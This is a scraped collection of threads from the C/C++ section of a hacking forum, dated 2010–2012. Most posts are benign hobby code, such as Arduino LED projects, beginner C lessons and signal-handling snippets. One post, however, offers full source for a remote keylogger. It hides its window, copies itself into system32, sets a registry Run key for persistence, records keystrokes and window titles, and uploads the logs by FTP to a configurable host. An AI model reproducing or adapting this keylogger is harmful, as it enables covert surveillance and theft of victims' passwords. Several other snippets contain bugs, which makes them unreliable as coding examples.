C/C++ - iExploit

On the fly tool

flawless — Sun, 07 Oct 2012 19:36:39 -0400

Something to i just thought i shud share, this lil tool helps when you researching buffer overflows
and when you hit bad-chars, just compile this and run it while generate chars for you. then you start the process of elimination.

link to pastebin code :::::: http://pastebin.com/0FsEaXdd

Dark Generation Remote Keylogger

G0ld3n dr4g0n — Fri, 02 Sep 2011 15:48:04 -0400

This is my C++ remote keylogger. :D
To compile with Dev C + + add the library libwininet.a before compiling.

/*
#DakrGeneration Remote Keylogger
#Written By G0ld3n dr4g0n
#Keylogger in c++ con upload del file di log (denominato darkgen.txt e presente nella cartella system32 insieme al keylogger SysGen.exe)
#via ftp, ad intervalli di 30 minuti
#Per compilare con Dev C++ aggiungere la libreria libwininet.a prima della compilazione
#Copyleft 2010
#PerchÃ¨ ci siamo rotti di questa cazzutissima copyright ;)
*/

#include <windows.h>
#include <wininet.h>
#include <winuser.h>
#include <fstream>
#include <ctime>
#include <iostream>
#include <conio.h>
//#include <libwininet.a>

// Modifica Con le tue credenziali di accesso
#define HOST             \"www.sito.it\"
#define USER             \"user\"
#define PASS             \"password\"




using namespace std;

char Dest_log[255]= {0};

int sistema_infettato(char *prog_name);
int write_log(char c);
int write_log(char *s, bool timed = false);
void NomeLogRemoto (char *str);
void open_log (void);
void logNomeFinestra (void);
bool Shifted(void);

DWORD WINAPI ftp_upload(LPVOID lpParam) {
      char LogR[255]= {0};
         HINTERNET hCon, sFtp;
         
         while(true) {
                      hCon = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
                     
                      if (hCon == NULL) {
                                      write_log(\"\n!!! Errore connessione !!!\",true);
                                      Sleep(1000 * 60 * 30);
                                      continue;
                                      }
                                      sFtp = InternetConnect(hCon, HOST, INTERNET_DEFAULT_FTP_PORT, USER, PASS, INTERNET_SERVICE_FTP, 0, 0);
                                     
                                      if (sFtp == NULL) {
                                               write_log(\"\n!!! Errore connessione FTP !!!\",true);
                                               Sleep(1000 * 60 * 30);
                                               continue;
                                               }
                                               NomeLogRemoto(LogR);
                                               
                                               if (!FtpPutFile(sFtp, Dest_log, LogR, INTERNET_FLAG_TRANSFER_BINARY, 0)) {
                                                                write_log(\"\n!!! Errore Upload Log !!!\",true);
                                                                InternetCloseHandle(hCon);
                                                                InternetCloseHandle(sFtp);
                                                                Sleep(1000 * 60 * 30);
                                                                continue;
                                                                } else {
                                                               
                                                                DeleteFile(Dest_log);
                                                                open_log();
                                                                }
                                                               
                                                                InternetCloseHandle(hCon);
                                                                InternetCloseHandle(sFtp);
                                                                Sleep (1000 * 60 * 60);
                                      }
                      }
                     

int main(int argc, char *argv[]) {
    bool shift;
    char NomeTasto[25];
        HANDLE hThread;
       
        if(!GetSystemDirectory(Dest_log, 255)) {
                                         write_log(\"!!! Errore nell'ottenere il percorso di system32 !!!\", true);
                                         sprintf (Dest_log, \"C:\\WINDOWS\\system32\\darkgen.txt\");
                                         } else
        strcat (Dest_log, \"\\darkgen.txt\");
       
        open_log();
        sistema_infettato(argv[0]);
       
        hThread = CreateThread(NULL, 0, ftp_upload, NULL, 0, (DWORD*) 0);
       
        if (hThread == NULL) {
                   write_log(\"\n!!! Errore Creazione Thread !!!\", true);
                   }
                                     
                   while (true) {
                         while(!kbhit());
                         
                         for (int i=8; i<=256; i++) {
                             if(GetAsyncKeyState(VK_SHIFT))  {                  // Se Shift Ã¨ Premuto
                                                             
                                for(int i=65; i<=90; i++)   // ATTENZIONE SE E' attivo VK_CAPITAL i caratteri devono essere minuscoli.
                                        if(GetAsyncKeyState(i)== -32767) write_log(i);
                                                             
                        for(int i= 48; i<= 57; i++)                  // caratteri =!\"Â£$%&/()
                                        if(GetAsyncKeyState(i) == -32767) {
                                                               if(i==48) write_log(61);
                                                               else if(i==51) write_log(163);
                                                               else if(i==55) write_log(47);
                                                               else write_log(i-16);
                                        }
                           
                                                                             
                        if( GetAsyncKeyState(220) == -32767) write_log(\"|\");
                        if( GetAsyncKeyState(188) == -32767) write_log(\";\");
                        if( GetAsyncKeyState(190) == -32767) write_log(\":\");
                        if( GetAsyncKeyState(189) == -32767) write_log(\"_\");
                        if( GetAsyncKeyState(186) == -32767) write_log(\"Ã©\");
                        if( GetAsyncKeyState(187) == -32767) write_log(\"*\");
                        if( GetAsyncKeyState(192) == -32767) write_log(\"Ã§\");
                        if( GetAsyncKeyState(222) == -32767) write_log(\"Â°\");
                        if( GetAsyncKeyState(191) == -32767) write_log(\"Â§\");
                        if( GetAsyncKeyState(219) == -32767) write_log(\"?\");
                        if( GetAsyncKeyState(221) == -32767) write_log(\"^\");
                        if( GetAsyncKeyState(226) == -32767) write_log(\">\");
                        if( GetAsyncKeyState(VK_SPACE) == -32767) write_log(\" \");
                        if( GetAsyncKeyState(VK_BACK) == -32767) write_log(\"[DEL]\");
                                                                               
         }
         else {             //Se Shift non Ã¨ premuto
                                                                                     
            if(GetAsyncKeyState(i) & 0x7FFF) {
                                                                                                           
                                logNomeFinestra ();
                                shift = Shifted();
                                                                                                           
                                if(i > 47 && i < 91) {
               if(shift == false) write_log(tolower(i));
               else write_log((char) i);
            }
            else {
                                                                                                                       
                                                       switch (i) {
                                                              case VK_RETURN:
                                                                   write_log(\"\n[INVIO]\n\");
                                                                   break;
                                                                   
                                                              case VK_SPACE:
                                                                   write_log(\" \");
                                                                   break;
                                                                   
                                                              case VK_BACK:
                                                                   write_log(\" [DEL] \");
                                                                   break;
                                                                   
                                                              case VK_DELETE:
                                                                   write_log(\" [CANC] \");                                                         
                                                                   break;
                                                                   
                                                              case VK_UP:
                                                                   write_log(\"\n[FRECCIA SU]\n\");
                                                                   break;
                                                                   
                                                              case VK_DOWN:
                                                                   write_log(\"\n[FRECCIA GIU']\n\");
                                                                   break;
                                                                   
                                                              case VK_LEFT:
                                                                   write_log(\"\n[FRECCIA SINISTRA]\n\");
                                                                   break;
                                                                   
                                                              case VK_RIGHT:
                                                                   write_log(\"\n[FRECCIA DESTRA]\n\");
                                                                   break;
                                                                   
                                                              case VK_MULTIPLY:
                                                                   write_log(\"*\");
                                                                   break;
                                                                   
                                                              case VK_DIVIDE:
                                                                   write_log(\"/\");
                                                                   break
                                                                   
                                                              case VK_SUBTRACT:
                                                                   write_log(\"-\");
                                                                   break;
                                                                   
                                                              case VK_ADD:
                                                                   write_log(\"+\");
                                                                   break;
                                                                   
                                                              case VK_NUMLOCK:
                                                                   write_log(\"\n[NUM LOCK]\n\")
                                                                   break;
                                                                   
                                                              case VK_CAPITAL:
                                                                   write_log(\"\n[CAPS LOCK]\n\");
                                                                   break;
                                                                   
                                                              case VK_SCROLL:
                                                                   write_log(\"\n[SCROLL LOCK]\n\")
                                                                   break;
                                                                   
                                                              case VK_SHIFT:
                                                                   write_log(\"\");                                   
                                                                       break;
                                                               
                                                              case VK_LSHIFT:
                                                                   write_log(\"\");
                                                                   break;
                                                                   
                                                              case VK_RSHIFT:
                                                                   write_log(\"\");
                                                                   break;
                                                                   
                                                              case VK_INSERT:
                                                                   write_log(\" [INSERT] \");
                                                                   break;
                                                                   
                                                              case VK_PAUSE:
                                                                   write_log(\"\n[PAUSE]\n\");
                                                                   break;
                                                                   
                                                              case VK_CONTROL:
                                                                   write_log(\"\");
                                                                   break;
                                                                   
                                                              case VK_MENU:
                                                                   write_log(\"\");
                                                                   break;
                                                                   
                                                              case VK_LMENU:
                                                                   write_log(\"\n[LEFT ALT]\n\");
                                                                   break;
                                                                   
                                                              case VK_RMENU:
                                                                   write_log(\"\n[ALT GR]\n\");
                                                                   break;
                                                                   
                                                              case VK_ESCAPE:
                                                                   write_log(\"\n[ESC]\n\");
                                                                   break;
                                                                   
                                                              case VK_SNAPSHOT:                                                                   
                                                                   write_log(\"\n[STAMP]\n\");
                                                                   break;
                                                                                                                                     
                                                              case VK_TAB:
                                                                   write_log(\"\n[TAB]\n\");
                                                                   break;
                                                                   
                                                              case VK_FINAL:
                                                                   write_log(\"\n[FIN]\n\");
                                                                   break;
                                                                   
                                                              case VK_NEXT:
                                                                   write_log(\"\n[PAGINA DOPO]\n\");
                                                                   break;
                                                                   
                                                              case VK_PRIOR:
                                                                   write_log(\"\n[PAGINA PRIMA]\n\");
                                                                   break;
                                                                   
                                                              case VK_HELP:
                                                                   write_log(\"\n[HELP]\n\");
                                                                   break;
                                                                   
                                                              case VK_NUMPAD0:
                                                                   write_log(\"0\");
                                                                   break;
                                                                   
                                                              case VK_NUMPAD1:
                                                                   write_log(\"1\");
                                                                   break;
                                                                   
                                                              case VK_NUMPAD2:
                                                                   write_log(\"2\");
                                                                   break;
                                                                   
                                                              case VK_NUMPAD3:
                                                                   write_log(\"3\");
                                                                   break;
                                                                   
                                                              case VK_NUMPAD4:
                                                                   write_log(\"4\");
                                                                   break;
                                                                   
                                                              case VK_NUMPAD5:
                                                                   write_log(\"5\");
                                                                   break;
                                                                   
                                                              case VK_NUMPAD6:
                                                                   write_log(\"6\");
                                                                   break;
                                                             
                                                              case VK_NUMPAD7:
                                                                   write_log(\"7\");
                                                                   break;
                                                                   
                                                              case VK_NUMPAD8:
                                                                   write_log(\"8\");
                                                                   break;
                                                                   
                                                              case VK_NUMPAD9:
                                                                   write_log(\"9\");
                                                                   break;                                                       
                                                                                                                       
                                                              default:
                                                                        GetKeyNameText(MapVirtualKey(i, 0) << 16, NomeTasto, 25);
                                                                                                                                           
                                                                       
                                                                        if(strlen(NomeTasto) < 2)  write_log(NomeTasto);
                                                                       
                                                                        else {
                                                                             write_log('[');
                                                                             write_log(NomeTasto);
                                                                             write_log(']');
                                                                             }
                                                                       }                                     
                                                              }
                                                       }
                                                }
                         }
                         }
        return 0;
    }                                                                                                                                         
    void open_log(void)
    {
         DWORD bSize = 255;
         const char titolo[] = \"{}{}{}{} Dark Generation Crew Remote Keylogger {}{}{} \nGreez to: Letal_Axel, Giuseppe69 & MZ \nCopyleft 2010 by G0ld3n dr4g0n \n\";
         char NomeComputer[255], NomeUtente[255];
         
         write_log((char *) titolo);
         
         GetComputerName(NomeComputer, &bSize);
         GetUserName(NomeUtente, &bSize);
         
         write_log(\"\n{}{}{} Username utente vittima:\t\t\");
         write_log(NomeUtente);
         
         write_log(\"\n{}{}{} Nome Computer vittima:\t\");
         write_log(NomeComputer);
         write_log(\"\n\");
         
         write_log(\"\n{}{}{} Ora Inizio:\t\",true);
    }
    int sistema_infettato(char *prog_name)
    {
        HKEY hKey;
        HWND hWnd;
        char destPath[255];
       
        hWnd = FindWindow(\"ConsoleWindowClass\", NULL);
        ShowWindow(hWnd, SW_HIDE);
       
        if(!GetSystemDirectory(destPath, 255)) {
                                         write_log(\"\n!!! Errore nell'ottenere il percorso della cartella System32 !!!\", true);
                                         sprintf(destPath, \"C:\\WINDOWS\\system32\\%s\", \"SysGen.exe\");
                                         } else {
                                                strcat(destPath, \"\\\");
                                                strcat(destPath, \"SysGen.exe\");
                                                }
                                               
        if(!CopyFile(prog_name, destPath, FALSE) {
                                write_log(\"\n!!! Errore nel copiare il file nella cartella System32 !!!\", true);
                                return 1;
                                }
                               
        if(RegOpenKeyEx(HKEY_LOCAL_MACHINE, \"Software\\Microsoft\\Windows\\CurrentVersion\\Run\", 0, KEY_SET_VALUE, &hKey)
        !=  ERROR_SUCCESS)
        {
            write_log(\n!!! Errore nella creazione della chiave di registro: \", true);
            return 1;
         } 
             
         if(RegSetValueEx(hKey, \"SysGen\", 0, REG_SZ, (const unsigned char*) destPath, strlen(destPath))
         !=  ERROR_SUCCESS)
         {
         
            write_log(\"\n[!] Errore nella creazione della chiave di registro: \", true)
            RegCloseKey(hKey);
            return 1;
          }
         
         RegCloseKey(hKey);
         return 0;
    }
   
    int write_log(char c) {
        ofstream logFile(Dest_log, ios::out | ios::app);       
        if(!logFile.is_open()) {
                              return 1;
                              }
                             
                              logFile << c;                             
                               logFile.flush();
                               logFile.close();                             
                               return 0;
                         }
       
        int write_log(char *s, bool timed) {
            time_t cTime;
            ofstream logFile(Dest_log, ios::out | ios::app);
            if(!logFile.is_open()) {
                                   return 1;
                                   }
                                   
                                   logFile << s;
                                   if(timed == true) {
                                            time ( &cTime );
                                            logFile << ctime( &cTime )
                                            }
                                           
                                   logFile.flush();
                                   logFile.close();
                                   return 0;
                                   }
                                   
            void logNomeFinestra(void) {
                  static HWND hWnd = NULL;
                  char NomeFinestra[255] = {0};
                 
                  if(hWnd != GetForegroundWindow()) {
                         
                          hWnd = GetForegroundWindow();
                          if(GetWindowText(hWnd, NomeFinestra, 255)) {
                                                 write_log(\"\n{}{}{} Finestra: \");
                                                 write_log(NomeFinestra);
                                                 write_log(\" {}{}{}\n\n\");
                                                 }
                                       }
                          }
                         
            void NomeLogRemoto(char *str) {
                 DWORD size = 55;
                 char cName[55], cTime[55];
                 
                 time_t rawtime;
                 struct tm * timeinfo;
                 
                 time ( &rawtime );
                 timeinfo = localtime ( &rawtime );
                 
                 GetComputerName(cName, &size);
                 strftime(cTime, 55, \"%d:%m_%H:%M\", timeinfo);
                 
                 sprintf(str, \"%s_%s.log\", cName, cTime);
            }
           
        bool Shifted(void) {
             if((GetKeyState(VK_LSHIFT) | GetKeyState(VK_RSHIFT)) & 0x8000) {                 
                                        if(GetKeyState(VK_CAPITAL)) return false;
                                        else return true;
             }
             else {
                   if(GetKeyState(VK_CAPITAL)) return true;
                   else return false;
             }
}

G0ld3n dr4g0n

Arduino [Control LEDs]

Sh3llc0d3 — Sun, 07 Aug 2011 17:10:03 -0400

As the programming for the Arduino is C/C++ based I'll put this here... although beware, this does contain vb.net ;) Anyway this was another random 'mini-project' for the arduino I did.

The Idea behind this program is to allow a program (in vb.net) to control (via serial port) the LEDs on the arduino breadboard.

Simple setup - 4 leds, 4 resistors, 5 cables (4 (LED->Pins) and 1 for the ground)

Arduino program:

int redPinOne = 12;
int redPinTwo = 13;
int greenPinTwo = 11;
int greenPinOne = 10;
int readValue;

void setup()
{
  pinMode(redPinOne, OUTPUT);
  pinMode(redPinTwo, OUTPUT);
  pinMode(greenPinOne, OUTPUT);
  pinMode(greenPinTwo, OUTPUT);
  Serial.begin(9600);
}

void loop()
{
  if(Serial.available())
  {
    readValue = Serial.read();
    if(readValue == '1')      // LED ON
    {
     digitalWrite(greenPinOne, HIGH);
    }
    if(readValue == '2')      // LED ON
    {
     digitalWrite(greenPinOne, LOW);
    }
    if(readValue == '3')      // LED ON
    {
     digitalWrite(greenPinTwo, HIGH); 
    }
    if(readValue == '4')      // LED ON
    {
     digitalWrite(greenPinTwo, LOW); 
    }
    if(readValue == '5')      // LED ON
    {
     digitalWrite(redPinOne, HIGH); 
    }
    if(readValue == '6')      // LED ON
    {
     digitalWrite(redPinOne, LOW); 
    }
    if(readValue == '7')      // LED ON
    {
     digitalWrite(redPinTwo, HIGH);
    }
    if(readValue == '8')      // LED ON
    {
     digitalWrite(redPinTwo, LOW);
    }
  }
}

Controller (VB.Net):

[spoiler=screenshots]
http://i.imgur.com/2V0LL.png
http://i.imgur.com/lZJT2.png
http://i.imgur.com/dXvgs.png
[/spoiler]

[spoiler=Video]
[align=center][video=youtube]

Your Baud rate and com port may be different. If your not sure check the baud rate you coded and the com port will be visible on the tools menu of the arduino IDE.

Imports System.IO.Ports

Public Class Form1

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        If SerialPort1.IsOpen() = True Then
            SerialPort1.Close()
        End If

        ledGrOne.Text = \"Green LED #1 ON\"
        ledGrTwo.Text = \"Green LED #2 ON\"
        ledReOne.Text = \"Red LED #1 ON\"
        ledReTwo.Text = \"Red LED #2 ON\"
    End Sub

    Private Sub ledGrOne_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ledGrOne.Click
        If ledGrOne.Text = \"Green LED #1 ON\" Then
            SerialPort1.Write(\"1\")
            ledGrOne.Text = \"Green LED #1 OFF\"
        Else
            SerialPort1.Write(\"2\")
            ledGrOne.Text = \"Green LED #1 ON\"
        End If
    End Sub

    Private Sub ledGrTwo_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ledGrTwo.Click
        If ledGrTwo.Text = \"Green LED #2 ON\" Then
            SerialPort1.Write(\"3\")
            ledGrTwo.Text = \"Green LED #2 OFF\"
        Else
            SerialPort1.Write(\"4\")
            ledGrTwo.Text = \"Green LED #2 ON\"
        End If
    End Sub

    Private Sub ledReOne_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ledReOne.Click
        If ledReOne.Text = \"Red LED #1 ON\" Then
            SerialPort1.Write(\"5\")
            ledReOne.Text = \"Red LED #1 OFF\"
        Else
            SerialPort1.Write(\"6\")
            ledReOne.Text = \"Red LED #1 ON\"
        End If
    End Sub

    Private Sub ledReTwo_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ledReTwo.Click
        If ledReTwo.Text = \"Red LED #2 ON\" Then
            SerialPort1.Write(\"7\")
            ledReTwo.Text = \"Red LED #2 OFF\"
        Else
            SerialPort1.Write(\"8\")
            ledReTwo.Text = \"Red LED #2 ON\"
        End If
    End Sub

    Private Sub InitSerial_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles InitSerial.Click
        SerialPort1.PortName = TextBox2.Text
        SerialPort1.BaudRate = Val(TextBox1.Text)
        SerialPort1.Open()
        InitSerial.Enabled = False
    End Sub
End Class

Is there any point of serials/logins for apps on linux??

Mr. P-teo — Wed, 12 Sep 2012 08:54:00 -0400

So i was wondering, is there actually any point of people trying to secure linux applications when you can just use DGB and use the command "list" to see the programs source code??

Got a problem with a crackme app im making, any help?

Mr. P-teo — Sat, 01 Sep 2012 13:59:30 -0400

So iv been trying to make a crack me, all is good but the char comparison doesn't work. Can anyone help explain why??


#include iostream
#include stdio.h
#include string.h

using namespace std;

int main();

void strget(char password[])
{
    char Local[10] = "AP4ssW0rD";

    char *Get = Local;
    cout << Get << " = " << password << endl;
    if(strcmp(Get, Local) != 0)
    {
        cout << "Welcome to the CIA...\n\n";
    }else{
        main();
    }
}


int main()
{
    int Attempts = 0;
    char passwordprompt[] = "Password: ";
    char entered[10];
    char *Prompt = passwordprompt;
        cout << endl << Prompt;
        cin >> entered;
        if(Attempts >= 3)
        {
            goto End;
        }else{
            char *EnteredPassword = entered;
            Attempts++;
            strget(EnteredPassword);
        }

    End:
    return 0;
}

PS. Hope you like my little code box, appart from the stupid border that this forum adds to code tags :/

iExploit Mobile Application?

D0WNGRADE — Sun, 15 Apr 2012 19:15:12 -0400

Well, I just bought my new Nokia Lumia 900 and I want to make some applications for the Windows Phone marketplace and maybe Android's as well...

So Xin, if you're cool with this, does Vanilla have any public API available? :P

EDIT: This is in C/C++ because WP is with C#. lol

C for newcomers, Part 5

chroniccommand — Sun, 09 May 2010 18:58:28 -0400

In this section of my "C for newcomers" guide, I will be going over logic and the "if" statement.
-----------------------------------------------------------
So, what is logic? Logic, in my opinion, is basically using your brain. If more people used logic there would be nobody losing $20,000 in Vegas. What I will teach you today is how to use logic in C. Using logic will help your program make decisions and carry them out. Lets say we wanted a program that asked for a users input. Lets make one of those stupid fake viruses that you usually see in batch files(Note: I will use a command called "system" in this program. All you need to know about this for now is it lets you carry out system commands and will be used to simply scare somebody).


#include <stdio.h>

int main()
{
char s;
printf(\"There is a virus 0n j00r system! Would you like to get rid of it?[Y/N]\n\");
s = getchar();
if(s == 'Y')
   {
      printf(\"Ok, Virus is gone!\n\");
   }
else(s == 'N')
   {
      printf(\"Fine, say goodbye to your computer!\n\");
      system('ls /etc\");
      system('ls /etc\");
      system('ls /etc\");
    }
return(0);
}

If you've ever coded in another language before you should know what if and else is. If not, I will not explain it:
So we are declaring character "s" first, then we are asking the user for input. If the user presses Y it prints the virus is gone and terminates the program. If the user presses "N" it will say goodbye to the computer then use the system command to use "ls /etc" 3 times. This will just list everything in the /etc folder 3 times then terminate, making a retard shit there pants.

The if command in C is used to compare and contrast things and if they equal either true or false, they are carried out(Executed). Notice how the if and else statements don't need a colon after, just a new set of brackets. In C it is good to use the brackets when using IF and ELSE statements. Now suppose we want to make a hidden function, like an easter egg in the program, So if the user presses the T key, it prints something. This is done using the ElseIf command. Take a look:


#include <stdio.h>

int main()
{
char s;
printf(\"There is a virus 0n j00r system! Would you like to get rid of it?[Y/N]\n\");
s = getchar();
if(s == 'Y')
   {
      printf(\"Ok, Virus is gone!\n\");
   }
else if(s == 'T')
   {
      printf(\"You found teh easter egg! Good job!\n\");
   }
else(s == 'N')
   {
      printf(\"Fine, say goodbye to your computer!\n\");
      system('ls /etc\");
      system('ls /etc\");
      system('ls /etc\");
    }
return(0);
}

See what I did there? The else if command is usually used when comparing more than 2 things.

|| and &&
Now for a lesson on the OR and AND operators. These are used in C to compare different things. Lets say we wanted a program to compare temperature. Lets take a look at using AND


#include <stdio.h>

int main()
{
char s;
printf(\"What is your favorite number?\n\");
s=getchar();
if(s == '1' || '2' || '3' || '4' || '5')
{
printf(\"Your favorite number is either 5 or less!\n\");
}
else
{
printf(\"Your number is greater than 5!\n\");
}
return(0);
}

Now see how our if statement has the || 's? That means if its 1 OR 2 OR 3 OR 4 OR 5 it prints that statement. There is an easier way to do this in C, try this code:


#include <stdio.h>

int main()
{
char s;
printf(\"What is your favorite number?\n\");
s = getchar();
if(s<5)
{
printf(\"The number is less than 5!\n\");
}
else
{
printf(\"The number is greater than 5!\n\");
}
return(0);
}

This program uses the less than operator which is "<" But this program could pick up some errors, because we are comparing a number. The "getchar()" function compares a string. So what if we wanted to compare numbers? Try adding this line after the getchar() function

b = atoi(s);

Now use that and change the if statement to:

if(b<5)

So now we are using atoi, which is changing the string to an integer. Don't forget to declare "b" as an integer though! Now take a look at this program that uses that.


#include <stdio.h>

int main()
{
char s;
int b;
printf(\"What is your favorite number?\n\");
s = getchar();
b = atoi(s);
if(b<5)
{
printf(\"The number is less than five!\n\");
}
else
{
printf(\"The number is greater than five!\n\");
}
return(0);
}

See that? We used some simple logic using the if operator to ask for a number. We stuck in the atoi function to convert "s" which is originally a character to an integer.

I hope this helped quite a bit. This is simple logic in C using the if and else operators in C.

--Chroniccommand

[C] Simple File Crypt

GT3X — Sat, 25 Jun 2011 18:19:10 -0400



#include <stdio.h>

#define ENCRYPTION (int)Byte + 30
#define DECRYPTION (int)Byte - 30

int Encrypt(char *file, char* newfile)
{
    FILE *in, *out;
    
    char Byte, newByte;
      
    in = fopen(file, \"rb\");
    out = fopen(newfile, \"w\");
    
    if(in == NULL || out == NULL) 
    {
        printf(\"error in\");
    }
    else 
    {
        printf(\"File opend, Encrypting...\");
        while(1)
        {
            printf(\".\");
            
            if(Byte != EOF)
            {
                Byte=fgetc(in);
                newByte=Byte+30;
                fputc(newByte, out );
            }
            else
            {
                printf(\"End of File\");
                break;
            }
        }
        fclose(in);
        fclose(out);
    }
    
}

int Decrypt(char *file, char *newfile)
{
    FILE *in,*out;
    
    char Byte, newByte;
    
    in = fopen(file, \"rb\");
    out = fopen(newfile, \"w\");
    
    if(in == NULL || out == NULL)
    {
        printf(\"Erro\");
    }
    else
    {
        printf(\"File Opened, Decrypting\");
        while(1)
        {
            printf(\".\");
            if(Byte!=EOF)
            {
                Byte = fgetc(in);
                newByte = Byte-30;
            }
            else 
            {
                printf(\"End of file\");
                break;
            }
        }
        fclose(in);
        fclose(out);
    }

blocking of signal code try and see the output

cyberpirate — Wed, 31 Aug 2011 14:40:57 -0400

Hey guys here is a simple code to block your linux signal :D:D.. plz don't try this ;):D:D


#include<stdio.h>
#include<unistd.h>
#include<sys/types.h>
#include<signal.h>
void sighandler(int signum)
{
switch( signum )
{
case SIGTERM:
printf(\"SIGTERM received\n\");
break;
case SIGINT:
printf(\"SIGINT Received\n\");
break;
case SIGCONT:
printf(\"SIGCONT Received\n\");
break;
}
}
int main()
{
char buffer[ 80 ]=\"\0\";
sigset_t block;
signal( SIGTERM,sighandler );
signal( SIGINT,sighandler );
signal( SIGCONT,sighandler);
sigemptyset(&block);
sigaddset( &block,SIGTERM);
sigaddset( &block,SIGINT);
sigprocmask( SIG_BLOCK,&block,NULL);
while ( strcmp(buffer,\"n\")!=0)
{
printf(\"enter a string:\");
gets(buffer);
puts(buffer);
}
sigprocmask(SIG_UNBLOCK,&block,NULL);
while(1)
printf(\"\rProgram running\");
}

Run this code into your linux and try to send the signal by pressing the keys ctrl+c and after that try to kill the process and then see what happen :D:D.. Enjoy!!!!

A simple program to see signalhandler output

cyberpirate — Wed, 31 Aug 2011 04:29:59 -0400

Here is a simple program to see the linux message when you press the ctrl+c


#include<stdio.h>
#include<signal.h>
void sighandler(char signum);
int main()
{
signal(SIGINT,(void*)sighandler);
while(1)
printf(\"iexploit.org\");
}
void sighandler(char signum)
{
printf(\"SIGINT received.Insisde sighandler\n\");
}

just run this program and press ctrl+c and then see whats the output comes..you can stop the program by pressing ctrl+z..and then use shif+pgup key to see the output.. To understand how signal works refer my article in off-topic..

tell me the output :D

cyberpirate — Tue, 30 Aug 2011 07:03:23 -0400

hey guys just guess and tell me what's the output of this code.. Remember don't try to run before gussing :D:D:D:D


#include<stdio.h>
#include<conio.h>
void main()
{
int a=1;
printf(\"%d%d%d\",a,++a,a++);
getch();
}

:D:D:D just guess and tell me :D:D

[C++] Win32 Programming Tutorials

Sh3llc0d3 — Wed, 17 Aug 2011 16:39:27 -0400

These are the best tutorials I know on Win32 and WinSock programming. If you want me to add more let me know the link etc :). Hope you find them useful!

Win32 API Tutorials:
http://www.win32developer.com/tutorial.shtm
http://www.winprog.org/tutorial/

WinSock Tutorial:
http://www.madwizard.org/programming/tutorials/netcpp/
http://www.win32developer.com/tutorial/ ... ial_1.shtm

EDIT: w00t 2k posts :)

[Ebook] Beej's Networking Guide [C++]

Sh3llc0d3 — Sun, 24 Oct 2010 19:26:35 -0400

Plenty of people code rat's and other malware in vb.net or delphi but this guide should give you the fundamentals in C++ networking to be able to code your own tools. It's not a short read but C++ is not an easy language to learn....

Download Link

[spoiler=AV scan]Antivirus results
AhnLab-V3 - 2010.10.24.00 - 2010.10.23 - -
AntiVir - 7.10.13.27 - 2010.10.22 - -
Antiy-AVL - 2.0.3.7 - 2010.10.24 - -
Authentium - 5.2.0.5 - 2010.10.23 - -
Avast - 4.8.1351.0 - 2010.10.24 - -
Avast5 - 5.0.594.0 - 2010.10.24 - -
AVG - 9.0.0.851 - 2010.10.24 - -
BitDefender - 7.2 - 2010.10.24 - -
CAT-QuickHeal - 11.00 - 2010.10.22 - -
ClamAV - 0.96.2.0-git - 2010.10.23 - -
Comodo - 6488 - 2010.10.23 - -
DrWeb - 5.0.2.03300 - 2010.10.24 - -
Emsisoft - 5.0.0.50 - 2010.10.24 - -
eSafe - 7.0.17.0 - 2010.10.24 - -
eTrust-Vet - 36.1.7929 - 2010.10.22 - -
F-Prot - 4.6.2.117 - 2010.10.23 - -
F-Secure - 9.0.16160.0 - 2010.10.24 - -
Fortinet - 4.2.249.0 - 2010.10.24 - -
GData - 21 - 2010.10.24 - -
Ikarus - T3.1.1.90.0 - 2010.10.24 - -
Jiangmin - 13.0.900 - 2010.10.24 - -
K7AntiVirus - 9.66.2813 - 2010.10.22 - -
Kaspersky - 7.0.0.125 - 2010.10.24 - -
McAfee - 5.400.0.1158 - 2010.10.24 - -
McAfee-GW-Edition - 2010.1C - 2010.10.24 - -
Microsoft - 1.6301 - 2010.10.24 - -
NOD32 - 5560 - 2010.10.24 - -
Norman - 6.06.10 - 2010.10.24 - -
nProtect - 2010-10-24.01 - 2010.10.24 - -
Panda - 10.0.2.7 - 2010.10.24 - -
PCTools - 7.0.3.5 - 2010.10.24 - -
Prevx - 3.0 - 2010.10.24 - -
Rising - 22.70.05.00 - 2010.10.24 - -
Sophos - 4.58.0 - 2010.10.24 - -
Sunbelt - 7131 - 2010.10.24 - -
SUPERAntiSpyware - 4.40.0.1006 - 2010.10.24 - -
Symantec - 20101.2.0.161 - 2010.10.24 - -
TheHacker - 6.7.0.1.065 - 2010.10.24 - -
TrendMicro - 9.120.0.1004 - 2010.10.24 - -
TrendMicro-HouseCall - 9.120.0.1004 - 2010.10.24 - -
VBA32 - 3.12.14.1 - 2010.10.22 - -
ViRobot - 2010.10.24.4110 - 2010.10.24 - -
VirusBuster - 12.70.2.0 - 2010.10.24 - -
File info:
MD5: c5d06b114b56d2b86639e2ab6a3bffc7
SHA1: 5a747c8b90f0f7b499840b195fef0c00b3b6d328
SHA256: e5cfe9ec0e22e9aac7492d29b9440f0a3dce094535bbb5e8718848536606787a
File size: 738252 bytes
Scan date: 2010-10-24 17:23:57 (UTC)[/spoiler]

Arduino [Potentiometer + 4 LEDs] [Basic]

Sh3llc0d3 — Sat, 06 Aug 2011 21:50:46 -0400

Well this s a rare one for me but I thought I'd share the source to this program I made to run of a Arduino chip. It's pretty simple and pretty easy once you know what your doing (where the pins are etc).

What you'll need:
- Potentiometer
- 4 LEDs
- 8 wires.
- 4 1KÎ© Resistors (I'm told you could probably get away with lower resistance ones though).
- Oh yeah and an Arduino (i'm using the uno model).

/*
  Description: Potentiometer with increasing LEDs (ok it's a short description)
  Coded by: Sh3llc0d3
 */
int greenPinOne = 10;                                // initialises green led (#1) on pin 10
int greenPinTwo = 11;                                // initialises green led (#2) on pin 11
int redPinOne = 12;                                  // initialises red led (#1) on pin 12
int redPinTwo = 13;                                  // initialises red led (#2) on pin 13

void setup() {
  pinMode(greenPinOne, OUTPUT);                      // This just sets the pins up and declares 
  pinMode(greenPinTwo, OUTPUT);                      // the above variables(pins/leds) as outputs.
  pinMode(redPinOne, OUTPUT);
  pinMode(redPinTwo, OUTPUT);
}

void loop() {
  int sensorValue = analogRead(A0);                 // I have a potentiometer hooked up to A0 (analogue pin 0) ...this declares the variable and reads input from A0.
